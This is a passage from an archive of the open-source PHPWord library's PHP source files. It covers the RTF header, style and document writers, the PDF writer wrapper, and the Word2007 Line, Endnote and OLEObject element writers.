            'author', 'operator', 'creatim', 'revtim', 'company', 'manager', ];
        $mapping = [
            'comment' => 'description',
            'author' => 'creator',
            'operator' => 'lastModifiedBy',
            'creatim' => 'created',
            'revtim' => 'modified', ];
        $dateFields = ['creatim', 'revtim'];

        $content = '';

        $content .= '{';
        $content .= '\info';
        foreach ($properties as $property) {
            $method = 'get' . ($mapping[$property] ?? $property);
            if (!in_array($property, $dateFields) && Settings::isOutputEscapingEnabled()) {
                $value = $this->escaper->escape($docProps->$method());
            } else {
                $value = $docProps->$method();
            }
            $value = in_array($property, $dateFields) ? $this->getDateValue($value) : $value;
            $content .= "{\\{$property} {$value}}";
        }
        $content .= '}';
        $content .= PHP_EOL;

        return $content;
    }

    /**
     * Write document formatting properties.
     *
     * @return string
     */
    private function writeFormatting()
    {
        $docSettings = $this->getParentWriter()->getPhpWord()->getSettings();
        // Applies a language to a text run (defaults to 1036 : French (France))
        $langId = $docSettings->getThemeFontLang() != null && $docSettings->getThemeFontLang()->getLangId() != null ? $docSettings->getThemeFontLang()->getLangId() : 1036;

        $content = '';

        $content .= '\deftab720'; // Set the default tab size (720 twips)
        $content .= '\viewkind1'; // Set the view mode of the document

        $content .= '\uc1'; // Set the numberof bytes that follows a unicode character
        $content .= '\pard'; // Resets to default paragraph properties.
        $content .= '\nowidctlpar'; // No widow/orphan control
        $content .= '\lang' . $langId;
        $content .= '\kerning1'; // Point size (in half-points) above which to kern character pairs
        $content .= '\fs' . (Settings::getDefaultFontSize() * 2); // Set the font size in half-points
        if ($docSettings->hasEvenAndOddHeaders()) {
            $content .= '\\facingp';
        }
        $content .= PHP_EOL;

        return $content;
    }

    /**
     * Write titlepg directive if any "f" headers or footers.
     *
     * @param \PhpOffice\PhpWord\Element\Section $section
     *
     * @return string
     */
    private static function writeTitlepg($section)
    {
        foreach ($section->getHeaders() as $header) {
            if ($header->getType() === Footer::FIRST) {
                return '\\titlepg' . PHP_EOL;
            }
        }
        foreach ($section->getFooters() as $header) {
            if ($header->getType() === Footer::FIRST) {
                return '\\titlepg' . PHP_EOL;
            }
        }

        return '';
    }

    /**
     * Write sections.
     *
     * @return string
     */
    private function writeSections()
    {
        $content = '';

        $sections = $this->getParentWriter()->getPhpWord()->getSections();
        $evenOdd = $this->getParentWriter()->getPhpWord()->getSettings()->hasEvenAndOddHeaders();
        $sectOwed = false;
        foreach ($sections as $section) {
            if ($sectOwed) {
                $content .= '\sect' . PHP_EOL;
            } else {
                $sectOwed = true;
            }
            $styleWriter = new SectionStyleWriter($section->getStyle());
            $styleWriter->setParentWriter($this->getParentWriter());
            $content .= $styleWriter->write();
            $content .= self::writeTitlepg($section);

            foreach ($section->getHeaders() as $header) {
                $type = $header->getType();
                if ($evenOdd || $type !== FOOTER::EVEN) {
                    $content .= '{\\header';
                    if ($type === Footer::FIRST) {
                        $content .= 'f';
                    } elseif ($evenOdd) {
                        $content .= ($type === FOOTER::EVEN) ? 'l' : 'r';
                    }
                    foreach ($header->getElements() as $element) {
                        $cl = get_class($element);
                        $cl2 = str_replace('Element', 'Writer\\RTF\\Element', $cl);
                        if (class_exists($cl2)) {
                            $elementWriter = new $cl2($this->getParentWriter(), $element);
                            $content .= $elementWriter->write();
                        }
                    }
                    $content .= '}' . PHP_EOL;
                }
            }
            foreach ($section->getFooters() as $footer) {
                $type = $footer->getType();
                if ($evenOdd || $type !== FOOTER::EVEN) {
                    $content .= '{\\footer';
                    if ($type === Footer::FIRST) {
                        $content .= 'f';
                    } elseif ($evenOdd) {
                        $content .= ($type === FOOTER::EVEN) ? 'l' : 'r';
                    }
                    foreach ($footer->getElements() as $element) {
                        $cl = get_class($element);
                        $cl2 = str_replace('Element', 'Writer\\RTF\\Element', $cl);
                        if (class_exists($cl2)) {
                            $elementWriter = new $cl2($this->getParentWriter(), $element);
                            $content .= $elementWriter->write();
                        }
                    }
                    $content .= '}' . PHP_EOL;
                }
            }

            $elementWriter = new Container($this->getParentWriter(), $section);
            $content .= $elementWriter->write();
        }

        return $content;
    }

    /**
     * Get date value.
     *
     * The format of date value is `\yr?\mo?\dy?\hr?\min?\sec?`
     *
     * @param int $value
     *
     * @return string
     */
    private function getDateValue($value)
    {
        $dateParts = [
            'Y' => 'yr',
            'm' => 'mo',
            'd' => 'dy',
            'H' => 'hr',
            'i' => 'min',
            's' => 'sec',
        ];
        $result = '';
        foreach ($dateParts as $dateFormat => $controlWord) {
            $result .= '\\' . $controlWord . date($dateFormat, $value);
        }

        return $result;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/RTF/Style/Border.php000066600000006000151150442730020600 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\RTF\Style;

/**
 * Border style writer.
 *
 * @since 0.12.0
 */
class Border extends AbstractStyle
{
    /**
     * Sizes.
     *
     * @var array
     */
    private $sizes = [];

    /**
     * Colors.
     *
     * @var array
     */
    private $colors = [];

    /**
     * Write style.
     *
     * @return string
     */
    public function write()
    {
        $content = '';

        $sides = ['top', 'left', 'right', 'bottom'];
        $sizeCount = count($this->sizes);

        // Page border measure
        // 8 = from text, infront off; 32 = from edge, infront on; 40 = from edge, infront off
        $content .= '\pgbrdropt32';

        for ($i = 0; $i < $sizeCount; ++$i) {
            if ($this->sizes[$i] !== null) {
                $color = null;
                if (isset($this->colors[$i])) {
                    $color = $this->colors[$i];
                }
                $content .= $this->writeSide($sides[$i], $this->sizes[$i], $color);
            }
        }

        return $content;
    }

    /**
     * Write side.
     *
     * @param string $side
     * @param int $width
     * @param string $color
     *
     * @return string
     */
    private function writeSide($side, $width, $color = '')
    {
        /** @var \PhpOffice\PhpWord\Writer\RTF $rtfWriter */
        $rtfWriter = $this->getParentWriter();
        $colorIndex = 0;
        if ($rtfWriter !== null) {
            $colorTable = $rtfWriter->getColorTable();
            $index = array_search($color, $colorTable);
            if ($index !== false && $colorIndex !== null) {
                $colorIndex = $index + 1;
            }
        }

        $content = '';

        $content .= '\pgbrdr' . substr($side, 0, 1);
        $content .= '\brdrs'; // Single-thickness border; @todo Get other type of border
        $content .= '\brdrw' . round($width); // Width
        $content .= '\brdrcf' . $colorIndex; // Color
        $content .= '\brsp480'; // Space in twips between borders and the paragraph (24pt, following OOXML)
        $content .= ' ';

        return $content;
    }

    /**
     * Set sizes.
     *
     * @param int[] $value
     */
    public function setSizes($value): void
    {
        $this->sizes = $value;
    }

    /**
     * Set colors.
     *
     * @param string[] $value
     */
    public function setColors($value): void
    {
        $this->colors = $value;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/RTF/Style/Paragraph.php000066600000010153151150442730021274 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\RTF\Style;

use PhpOffice\PhpWord\SimpleType\Jc;

/**
 * RTF paragraph style writer.
 *
 * @since 0.11.0
 */
class Paragraph extends AbstractStyle
{
    /**
     * Depth of table container nested level; Primarily used for RTF writer/reader.
     *
     * 0 = Not in a table; 1 = in a table; 2 = in a table inside another table, etc.
     *
     * @var int
     */
    private $nestedLevel = 0;

    private const LEFT = Jc::LEFT;
    private const RIGHT = Jc::RIGHT;
    private const JUSTIFY = Jc::JUSTIFY;

    /**
     * Write style.
     *
     * @return string
     */
    public function write()
    {
        $style = $this->getStyle();
        if (!$style instanceof \PhpOffice\PhpWord\Style\Paragraph) {
            return '';
        }

        $alignments = [
            Jc::START => '\ql',
            Jc::END => '\qr',
            Jc::CENTER => '\qc',
            Jc::BOTH => '\qj',
            self::LEFT => '\ql',
            self::RIGHT => '\qr',
            self::JUSTIFY => '\qj',
        ];
        $bidiAlignments = [
            Jc::START => '\qr',
            Jc::END => '\ql',
            Jc::CENTER => '\qc',
            Jc::BOTH => '\qj',
            self::LEFT => '\ql',
            self::RIGHT => '\qr',
            self::JUSTIFY => '\qj',
        ];

        $spaceAfter = $style->getSpaceAfter();
        $spaceBefore = $style->getSpaceBefore();

        $content = '';
        if ($this->nestedLevel == 0) {
            $content .= '\pard\nowidctlpar ';
        }
        $alignment = $style->getAlignment();
        $bidi = $style->isBidi();
        if ($alignment === '' && $bidi !== null) {
            $alignment = Jc::START;
        }
        if (isset($alignments[$alignment])) {
            $content .= $bidi ? $bidiAlignments[$alignment] : $alignments[$alignment];
        }
        $content .= $this->writeIndentation($style->getIndentation());
        $content .= $this->getValueIf($spaceBefore !== null, '\sb' . round($spaceBefore ?? 0));
        $content .= $this->getValueIf($spaceAfter !== null, '\sa' . round($spaceAfter ?? 0));
        $lineHeight = $style->getLineHeight();
        if ($lineHeight) {
            $lineHeightAdjusted = (int) ($lineHeight * 240);
            $content .= "\\sl$lineHeightAdjusted\\slmult1";
        }
        if ($style->hasPageBreakBefore()) {
            $content .= '\\page';
        }

        $styles = $style->getStyleValues();
        $content .= $this->writeTabs($styles['tabs']);

        return $content;
    }

    /**
     * Writes an \PhpOffice\PhpWord\Style\Indentation.
     *
     * @param null|\PhpOffice\PhpWord\Style\Indentation $indent
     *
     * @return string
     */
    private function writeIndentation($indent = null)
    {
        if (isset($indent) && $indent instanceof \PhpOffice\PhpWord\Style\Indentation) {
            $writer = new Indentation($indent);

            return $writer->write();
        }

        return '';
    }

    /**
     * Writes tabs.
     *
     * @param \PhpOffice\PhpWord\Style\Tab[] $tabs
     *
     * @return string
     */
    private function writeTabs($tabs = null)
    {
        $content = '';
        if (!empty($tabs)) {
            foreach ($tabs as $tab) {
                $styleWriter = new Tab($tab);
                $content .= $styleWriter->write();
            }
        }

        return $content;
    }

    /**
     * Set nested level.
     *
     * @param int $value
     */
    public function setNestedLevel($value): void
    {
        $this->nestedLevel = $value;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/RTF/Style/Font.php000066600000004431151150442730020277 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\RTF\Style;

use PhpOffice\PhpWord\Style\Font as FontStyle;

/**
 * RTF font style writer.
 *
 * @since 0.11.0
 */
class Font extends AbstractStyle
{
    /**
     * @var int Font name index
     */
    private $nameIndex = 0;

    /**
     * @var int Font color index
     */
    private $colorIndex = 0;

    /**
     * Write style.
     *
     * @return string
     */
    public function write()
    {
        $style = $this->getStyle();
        if (!$style instanceof FontStyle) {
            return '';
        }

        $content = '';
        $content .= $this->getValueIf($style->isRTL(), '\rtlch');
        $content .= '\cf' . $this->colorIndex;
        $content .= '\f' . $this->nameIndex;

        $size = $style->getSize();
        $content .= $this->getValueIf(is_numeric($size), '\fs' . round($size * 2));

        $content .= $this->getValueIf($style->isBold(), '\b');
        $content .= $this->getValueIf($style->isItalic(), '\i');
        $content .= $this->getValueIf($style->getUnderline() != FontStyle::UNDERLINE_NONE, '\ul');
        $content .= $this->getValueIf($style->isStrikethrough(), '\strike');
        $content .= $this->getValueIf($style->isSuperScript(), '\super');
        $content .= $this->getValueIf($style->isSubScript(), '\sub');

        return $content . ' ';
    }

    /**
     * Set font name index.
     *
     * @param int $value
     */
    public function setNameIndex($value = 0): void
    {
        $this->nameIndex = $value;
    }

    /**
     * Set font color index.
     *
     * @param int $value
     */
    public function setColorIndex($value = 0): void
    {
        $this->colorIndex = $value;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/RTF/Style/AbstractStyle.php000066600000004227151150442730022160 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\RTF\Style;

use PhpOffice\PhpWord\Style\AbstractStyle as StyleAbstract;
use PhpOffice\PhpWord\Writer\RTF;

/**
 * Abstract RTF style writer.
 *
 * @since 0.11.0
 */
abstract class AbstractStyle
{
    /**
     * Parent writer.
     *
     * @var RTF
     */
    private $parentWriter;

    /**
     * Style.
     *
     * @var null|array|StyleAbstract
     */
    private $style;

    /**
     * Write style.
     *
     * @return mixed
     */
    abstract public function write();

    /**
     * Create new instance.
     *
     * @param array|StyleAbstract $style
     */
    public function __construct($style = null)
    {
        $this->style = $style;
    }

    /**
     * Set parent writer.
     *
     * @param RTF $writer
     */
    public function setParentWriter($writer): void
    {
        $this->parentWriter = $writer;
    }

    /**
     * Get parent writer.
     *
     * @return RTF
     */
    public function getParentWriter()
    {
        return $this->parentWriter;
    }

    /**
     * Get style.
     *
     * @return null|array|string|StyleAbstract
     */
    public function getStyle()
    {
        if (!$this->style instanceof StyleAbstract && !is_array($this->style)) {
            return '';
        }

        return $this->style;
    }

    /**
     * Get value if ...
     *
     * @param null|bool $condition
     * @param string $value
     *
     * @return string
     */
    protected function getValueIf($condition, $value)
    {
        return $condition == true ? $value : '';
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/RTF/Style/Indentation.php000066600000002316151150442730021645 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\RTF\Style;

/**
 * RTF indentation style writer.
 *
 * @since 0.11.0
 */
class Indentation extends AbstractStyle
{
    /**
     * Write style.
     *
     * @return string
     */
    public function write()
    {
        $style = $this->getStyle();
        if (!$style instanceof \PhpOffice\PhpWord\Style\Indentation) {
            return '';
        }

        $content = '\fi' . round($style->getFirstLine());
        $content .= '\li' . round($style->getLeft());
        $content .= '\ri' . round($style->getRight());

        return $content . ' ';
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/RTF/Style/Tab.php000066600000002631151150442730020077 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\RTF\Style;

/**
 * Line numbering style writer.
 *
 * @since 0.10.0
 */
class Tab extends AbstractStyle
{
    /**
     * Write style.
     */
    public function write()
    {
        $style = $this->getStyle();
        if (!$style instanceof \PhpOffice\PhpWord\Style\Tab) {
            return;
        }
        $tabs = [
            \PhpOffice\PhpWord\Style\Tab::TAB_STOP_RIGHT => '\tqr',
            \PhpOffice\PhpWord\Style\Tab::TAB_STOP_CENTER => '\tqc',
            \PhpOffice\PhpWord\Style\Tab::TAB_STOP_DECIMAL => '\tqdec',
        ];
        $content = '';
        if (isset($tabs[$style->getType()])) {
            $content .= $tabs[$style->getType()];
        }
        $content .= '\tx' . round($style->getPosition());

        return $content;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/RTF/Style/Section.php000066600000005337151150442730021003 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\RTF\Style;

use PhpOffice\PhpWord\Style\Section as SectionStyle;

/**
 * RTF section style writer.
 *
 * @since 0.12.0
 */
class Section extends AbstractStyle
{
    /**
     * Write style.
     *
     * @return string
     */
    public function write()
    {
        $style = $this->getStyle();
        if (!$style instanceof SectionStyle) {
            return '';
        }

        $content = '';

        $content .= '\sectd ';

        // Size & margin
        $content .= $this->getValueIf($style->getPageSizeW() !== null, '\pgwsxn' . round($style->getPageSizeW()));
        $content .= $this->getValueIf($style->getPageSizeH() !== null, '\pghsxn' . round($style->getPageSizeH()));
        $content .= ' ';
        $content .= $this->getValueIf($style->getMarginTop() !== null, '\margtsxn' . round($style->getMarginTop()));
        $content .= $this->getValueIf($style->getMarginRight() !== null, '\margrsxn' . round($style->getMarginRight()));
        $content .= $this->getValueIf($style->getMarginBottom() !== null, '\margbsxn' . round($style->getMarginBottom()));
        $content .= $this->getValueIf($style->getMarginLeft() !== null, '\marglsxn' . round($style->getMarginLeft()));
        $content .= $this->getValueIf($style->getHeaderHeight() !== null, '\headery' . round($style->getHeaderHeight()));
        $content .= $this->getValueIf($style->getFooterHeight() !== null, '\footery' . round($style->getFooterHeight()));
        $content .= $this->getValueIf($style->getGutter() !== null, '\guttersxn' . round($style->getGutter()));
        $content .= $this->getValueIf($style->getPageNumberingStart() !== null, '\pgnstarts' . $style->getPageNumberingStart() . '\pgnrestart');
        $content .= ' ';

        // Borders
        if ($style->hasBorder()) {
            $styleWriter = new Border($style);
            $styleWriter->setParentWriter($this->getParentWriter());
            $styleWriter->setSizes($style->getBorderSize());
            $styleWriter->setColors($style->getBorderColor());
            $content .= $styleWriter->write();
        }

        return $content . PHP_EOL;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/RTF.php000066600000005453151150442730016276 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer;

use PhpOffice\PhpWord\PhpWord;

/**
 * RTF writer.
 *
 * @since 0.7.0
 */
class RTF extends AbstractWriter implements WriterInterface
{
    /**
     * Last paragraph style.
     *
     * @var mixed
     */
    private $lastParagraphStyle;

    /**
     * Create new instance.
     */
    public function __construct(?PhpWord $phpWord = null)
    {
        $this->setPhpWord($phpWord);

        $this->parts = ['Header', 'Document'];
        foreach ($this->parts as $partName) {
            $partClass = static::class . '\\Part\\' . $partName;
            if (class_exists($partClass)) {
                /** @var \PhpOffice\PhpWord\Writer\RTF\Part\AbstractPart $part Type hint */
                $part = new $partClass();
                $part->setParentWriter($this);
                $this->writerParts[strtolower($partName)] = $part;
            }
        }
    }

    /**
     * Save content to file.
     */
    public function save(string $filename): void
    {
        $this->writeFile($this->openFile($filename), $this->getContent());
    }

    /**
     * Get content.
     *
     * @return string
     *
     * @since 0.11.0
     */
    private function getContent()
    {
        $content = '';

        $content .= '{';
        $content .= '\rtf1' . PHP_EOL;
        $content .= $this->getWriterPart('Header')->write();
        $content .= $this->getWriterPart('Document')->write();
        $content .= '}';

        return $content;
    }

    /**
     * Get font table.
     *
     * @return array
     */
    public function getFontTable()
    {
        return $this->getWriterPart('Header')->getFontTable();
    }

    /**
     * Get color table.
     *
     * @return array
     */
    public function getColorTable()
    {
        return $this->getWriterPart('Header')->getColorTable();
    }

    /**
     * Get last paragraph style.
     *
     * @return mixed
     */
    public function getLastParagraphStyle()
    {
        return $this->lastParagraphStyle;
    }

    /**
     * Set last paragraph style.
     *
     * @param mixed $value
     */
    public function setLastParagraphStyle($value = ''): void
    {
        $this->lastParagraphStyle = $value;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/PDF.php000066600000005405151150442730016251 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PhpWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer;

use PhpOffice\PhpWord\Exception\Exception;
use PhpOffice\PhpWord\PhpWord;
use PhpOffice\PhpWord\Settings;
use PhpOffice\PhpWord\Writer\PDF\AbstractRenderer;

/**
 * PDF Writer.
 *
 * @since 0.10.0
 */
class PDF
{
    /**
     * The wrapper for the requested PDF rendering engine.
     *
     * @var \PhpOffice\PhpWord\Writer\PDF\AbstractRenderer
     */
    private $renderer;

    /**
     * Instantiate a new renderer of the configured type within this container class.
     */
    public function __construct(PhpWord $phpWord)
    {
        $pdfLibraryName = Settings::getPdfRendererName();
        $pdfLibraryPath = Settings::getPdfRendererPath();
        if (null === $pdfLibraryName || null === $pdfLibraryPath) {
            throw new Exception('PDF rendering library or library path has not been defined.');
        }

        $includePath = str_replace('\\', '/', get_include_path());
        $rendererPath = str_replace('\\', '/', $pdfLibraryPath);
        if (strpos($rendererPath, $includePath) === false) {
            set_include_path(get_include_path() . PATH_SEPARATOR . $pdfLibraryPath);
        }

        $rendererName = static::class . '\\' . $pdfLibraryName;
        $this->renderer = new $rendererName($phpWord);
    }

    /**
     * Magic method to handle direct calls to the configured PDF renderer wrapper class.
     *
     * @param string $name Renderer library method name
     * @param mixed[] $arguments Array of arguments to pass to the renderer method
     *
     * @return mixed Returned data from the PDF renderer wrapper method
     */
    public function __call($name, $arguments)
    {
        // Note: Commented because all exceptions should already be catched by `__construct`
        // if ($this->renderer === null) {
        //     throw new Exception("PDF Rendering library has not been defined.");
        // }

        return call_user_func_array([$this->getRenderer(), $name], $arguments);
    }

    public function save(string $filename): void
    {
        $this->getRenderer()->save($filename);
    }

    public function getRenderer(): AbstractRenderer
    {
        return $this->renderer;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Element/Line.php000066600000006035151150442730021344 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Element;

use PhpOffice\PhpWord\Element\Line as LineElement;
use PhpOffice\PhpWord\Writer\Word2007\Style\Line as LineStyleWriter;

/**
 * Line element writer.
 */
class Line extends AbstractElement
{
    /**
     * Write element.
     */
    public function write(): void
    {
        $xmlWriter = $this->getXmlWriter();
        $element = $this->getElement();
        if (!$element instanceof LineElement) {
            return;
        }

        $style = $element->getStyle();
        $styleWriter = new LineStyleWriter($xmlWriter, $style);

        $elementId = $element->getElementIndex();

        if (!$this->withoutP) {
            $xmlWriter->startElement('w:p');
            $styleWriter->writeAlignment();
        }
        $this->writeCommentRangeStart();

        $xmlWriter->startElement('w:r');
        $xmlWriter->startElement('w:pict');

        // Shapetype could be defined for each line separately, but then a unique id would be necessary
        if ($elementId == 1) {
            $xmlWriter->startElement('v:shapetype');
            $xmlWriter->writeAttribute('id', '_x0000_t32');
            $xmlWriter->writeAttribute('coordsize', '21600,21600');
            $xmlWriter->writeAttribute('o:spt', '32');
            $xmlWriter->writeAttribute('o:oned', 't');
            $xmlWriter->writeAttribute('path', 'm,l21600,21600e');
            $xmlWriter->writeAttribute('filled', 'f');
            $xmlWriter->startElement('v:path');
            $xmlWriter->writeAttribute('arrowok', 't');
            $xmlWriter->writeAttribute('fillok', 'f');
            $xmlWriter->writeAttribute('o:connecttype', 'none');
            $xmlWriter->endElement(); // v:path
            $xmlWriter->startElement('o:lock');
            $xmlWriter->writeAttribute('v:ext', 'edit');
            $xmlWriter->writeAttribute('shapetype', 't');
            $xmlWriter->endElement(); // o:lock
            $xmlWriter->endElement(); // v:shapetype
        }

        $xmlWriter->startElement('v:shape');
        $xmlWriter->writeAttribute('id', sprintf('_x0000_s1%1$03d', $elementId));
        $xmlWriter->writeAttribute('type', '#_x0000_t32'); //type should correspond to shapetype id

        $styleWriter->write();
        $styleWriter->writeStroke();

        $xmlWriter->endElement(); // v:shape

        $xmlWriter->endElement(); // w:pict
        $xmlWriter->endElement(); // w:r

        $this->endElementP(); // w:p
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Element/Endnote.php000066600000001575151150442730022055 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Element;

/**
 * Endnote element writer.
 *
 * @since 0.10.0
 */
class Endnote extends Footnote
{
    /**
     * Reference type.
     *
     * @var string
     */
    protected $referenceType = 'endnoteReference';
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Element/OLEObject.php000066600000005755151150442730022233 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Element;

use PhpOffice\PhpWord\Writer\Word2007\Style\Image as ImageStyleWriter;

/**
 * OLEObject element writer.
 *
 * @since 0.10.0
 */
class OLEObject extends AbstractElement
{
    /**
     * Write object element.
     */
    public function write(): void
    {
        $xmlWriter = $this->getXmlWriter();
        $element = $this->getElement();
        if (!$element instanceof \PhpOffice\PhpWord\Element\OLEObject) {
            return;
        }

        $rIdObject = $element->getRelationId() + ($element->isInSection() ? 6 : 0);
        $rIdImage = $element->getImageRelationId() + ($element->isInSection() ? 6 : 0);
        $shapeId = md5($rIdObject . '_' . $rIdImage);
        $objectId = $element->getRelationId() + 1325353440;

        $style = $element->getStyle();
        $styleWriter = new ImageStyleWriter($xmlWriter, $style);

        if (!$this->withoutP) {
            $xmlWriter->startElement('w:p');
            $styleWriter->writeAlignment();
        }
        $this->writeCommentRangeStart();

        $xmlWriter->startElement('w:r');
        $xmlWriter->startElement('w:object');
        $xmlWriter->writeAttribute('w:dxaOrig', '249');
        $xmlWriter->writeAttribute('w:dyaOrig', '160');

        // Icon
        $xmlWriter->startElement('v:shape');
        $xmlWriter->writeAttribute('id', $shapeId);
        $xmlWriter->writeAttribute('type', '#_x0000_t75');
        $xmlWriter->writeAttribute('style', 'width:104px;height:67px');
        $xmlWriter->writeAttribute('o:ole', '');

        $xmlWriter->startElement('v:imagedata');
        $xmlWriter->writeAttribute('r:id', 'rId' . $rIdImage);
        $xmlWriter->writeAttribute('o:title', '');
        $xmlWriter->endElement(); // v:imagedata

        $xmlWriter->endElement(); // v:shape

        // Object
        $xmlWriter->startElement('o:OLEObject');
        $xmlWriter->writeAttribute('Type', 'Embed');
        $xmlWriter->writeAttribute('ProgID', 'Package');
        $xmlWriter->writeAttribute('ShapeID', $shapeId);
        $xmlWriter->writeAttribute('DrawAspect', 'Icon');
        $xmlWriter->writeAttribute('ObjectID', '_' . $objectId);
        $xmlWriter->writeAttribute('r:id', 'rId' . $rIdObject);
        $xmlWriter->endElement(); // o:OLEObject

        $xmlWriter->endElement(); // w:object
        $xmlWriter->endElement(); // w:r

        $this->endElementP(); // w:p
    }
}
